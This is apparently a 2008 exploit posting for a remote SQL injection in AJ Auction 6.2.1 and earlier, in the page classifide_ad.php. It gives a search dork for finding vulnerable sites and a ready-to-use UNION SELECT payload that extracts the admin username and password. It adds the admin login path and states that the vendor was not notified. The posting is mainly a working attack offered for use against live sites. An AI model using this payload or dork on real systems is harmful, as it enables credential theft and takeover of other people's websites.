Exploit Code :  

--==+===================================================================
=============+==--
--==+ AJ Auction <= 6.2.1 (classifide_ad.php) Remote SQL Injection
Vulnerability +==--
--==+===================================================================
=============+==--



Discovered By: t0pP8uZz
Discovered On: 12 MAY 2008
Script Download:
http://www.ajsquare.com/products/auction/index.php?auc=1
DORK: inurl:"classifide_ad.php"



Vendor Has Not Been Notified!



DESCRIPTION:

AJ Auction (all versions to date) suffers from a insecure mysql query,
allowing a remote attacker,
to arbitrary inject mysql code/query.

the below injection will display the admin credentials.



SQL Injection's:

http://site.com/classifide_ad.php?item_id=-1/**/UNION/**/ALL/**/SELECT/*
*/1,2,3,4,CONCAT(user_name,char(58),password),6,7,8,9,10,11,12,13,14,15,
16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,
40,41,42,43,44,45,46,47,48,49,50,51,52,53,54/**/FROM/**/admin/**/LIMIT/*
*/0,1/*



NOTE/TIP:

admin login is at /admin/





peace, t0pP8uZz


--==+===================================================================
=============+==--
--==+ AJ Auction <= 6.2.1 (classifide_ad.php) Remote SQL Injection
Vulnerability +==--
--==+===================================================================
=============+==--